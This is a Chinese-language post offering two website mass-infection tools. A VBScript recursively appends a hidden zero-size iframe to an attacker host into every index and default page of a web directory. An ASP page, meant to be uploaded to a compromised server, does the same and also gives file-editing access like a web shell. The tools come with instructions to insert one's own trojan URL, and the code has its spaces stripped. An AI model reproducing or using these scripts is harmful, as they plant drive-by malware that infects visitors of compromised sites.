scan.vbe
cscriptscan.vbeweb目录
程序代码:
'版权信息
br="************************************"&vbCrLf
br=br&"*VBS批量挂马脚本*"&vbCrLf
br=br&"*BYBanLG*"&vbCrLf
br=br&"************************************"&vbCrLf&vbCrLf
br=br&"cscriptscan.vbeD:"&vbCrLf
'马的地址
ma="</Script><IfRAMEheight=0width=0sRc="&chr(34)&"http://www.hacker.com.cn"&chr(…t;</IFrAME>"
'要挂马的页面如果嫌不够还可以自己再加,记得要用”|”隔开
MyString="index.php|index.asp|index.html|index.htm|default.php|default.asp|default.html|default.htm|index.aspx|default.aspx"
'以"|"为分隔符拆分成数组
MyArray=Split(MyString,"|",-1,1)
web=WScript.Arguments(0)
'如果web为空退出脚本
ifweb=""then
Wscript.echo(br)
window.Close
endif
Wscript.echo(br)&"马的地址:"&ma&vbCrLf&vbCrLf
'创建对象
Setfso=createObject("Scripting.FileSystemObject")
'开始扫描挂马
scan(web)
'scan定义函数,扫描查找符合条件的文件把马的内容写到文件的结尾
subscan(filesder)
setfilesder=fso.getfolder(filesder)
'得到当前目录的所有文件集合
setfiles=filesder.files
'获取文件名
foreachfextinfiles
Setfile1=fso.GetFile(fext)
filesext=file1.Name
'把文件名转换成小写字母
ext=lcase(filesext)
ForEachindexinMyArray
'判断文件是不是我们在MyString里限定的文件,如果是就写马
ifext=lcase(index)then
Setts=fso.OpenTextFile(fext,8)'打开文件并在文件末尾进行写操作
ts.WriteLine(ma)
ts.Close
echo=""
echo=fext&"………….ok"
Wscript.echo(echo)
endif
next
next
setsubfolders=filesder.subfolders
foreachsubfolderinsubfolders'搜索其他目录,递归调用
scan(subfolder)
next
endsub
FSO挂马.asp
传进服务器以后直接输入需要挂马的路径就可以直接挂了
程序代码:
<%Server.ScriptTimeout=10000
Response.Buffer=False
%>
<html>
<head>
<title></title>
<****http-equiv="Content-Type"content="text/html;charset=gb2312">
</head>
<body>
<%
ASP_SELF=Request.ServerVariables("PATH_INFO")
s=Request("fd")
ex=Request("ex")
pth=Request("pth")
newcnt=Request("newcnt")
Ifex<>""ANDpth<>""Then
selectCaseex
Case"edit"
CALLfile_show(pth)
Case"save"
CALLfile_save(pth)
Endselect
Else
%>
<formaction="<%=ASP_SELF%>"method="POST">
FOLDER(ABSOLUTEPATH):
<inputtype="text"name="fd"size="40">
<inputtype="submit"value="SUBMIT">
</form>
<%EndIf%>
<%
FunctionIsPattern(patt,str)
SetregEx=NewRegExp
regEx.Pattern=patt
regEx.IgnoreCase=True
retVal=regEx.Test(str)
SetregEx=Nothing
IfretVal=TrueThen
IsPattern=True
Else
IsPattern=False
EndIf
EndFunction
IfIsPattern("[^ab]{1}:{1}(|/)",s)Then
schs
Else
Ifs<>""ThenResponse.Write"InvalidAgrument!"
EndIf
Subsch(s)
oNeRrOrrEsUmEnExT
Setfs=Server.createObject("Scripting.FileSystemObject")
Setfd=fs.GetFolder(s)
Setfi=fd.Files
Setsf=fd.SubFolders
ForEachfinfi
rtn=f.Path
step_allrtn
Next
Ifsf.Count<>0Then
ForEachlInsf
schl
Next
EndIf
EndSub
Substep_all(agr)
retVal=IsPattern("(|/)(default|index).(htm|html|asp|php|jsp|aspx)b",agr)
IfretValThen
step1agr
step2agr
Else
ExitSub
EndIf
EndSub
%>
<%Substep1(str1)%>
<ahref="<%=ASP_SELF%>?ex=edit&pth=<%=str1%>"target="_blank"><%=str1%></a><br>
<%EndSub%>
<%
Substep2(str2)
addcode="<iframesrc=http://www.21o.net/mm/mm.htm(修改为你的马的地址,不要加""不然会出错)width=0height=0frameborder=0></iframe>"
Setfs=Server.createObject("Scripting.FileSystemObject")
isExist=fs.FileExists(str2)
IfisExistThen
Setf=fs.GetFile(str2)
Setf_addcode=f.OpenAsTextStream(8,-2)
f_addcode.Writeaddcode
f_addcode.Close
Setf=Nothing
EndIf
Setfs=Nothing
EndSub
%>
<%
Subfile_show(fname)
Setfs1=Server.createObject("Scripting.FileSystemObject")
isExist=fs1.FileExists(fname)
IfisExistThen
Setfcnt=fs1.OpenTextFile(fname)
cnt=fcnt.ReadAll
fcnt.Close
Setfs1=Nothing%>
FILE:<%=fname%>
<formaction="<%=ASP_SELF%>"method="POST">
<textareaname="newcnt"cols="100"rows="30"><%=cnt%></textarea>
<inputtype="hidden"name="pth"value="<%=fname%>">
<inputtype="hidden"name="ex"value="save">
<inputtype="submit"value="SAVE">
</form>
<%Else%>
<p>THEFILEISNOTEXITORHAVEdeleteD.</p>
<%
EndIf
EndSub
%>
<%
Subfile_save(fname)
Setfs2=Server.createObject("Scripting.FileSystemObject")
Setnewf=fs2.createTextFile(fname,True)
newf.Writenewcnt
newf.Close
Setfs2=Nothing
Response.Write"<p>THEFILEWASMODIFIEDSUCCESSFULLY.</p>"
EndSub
%>
</body>
</html>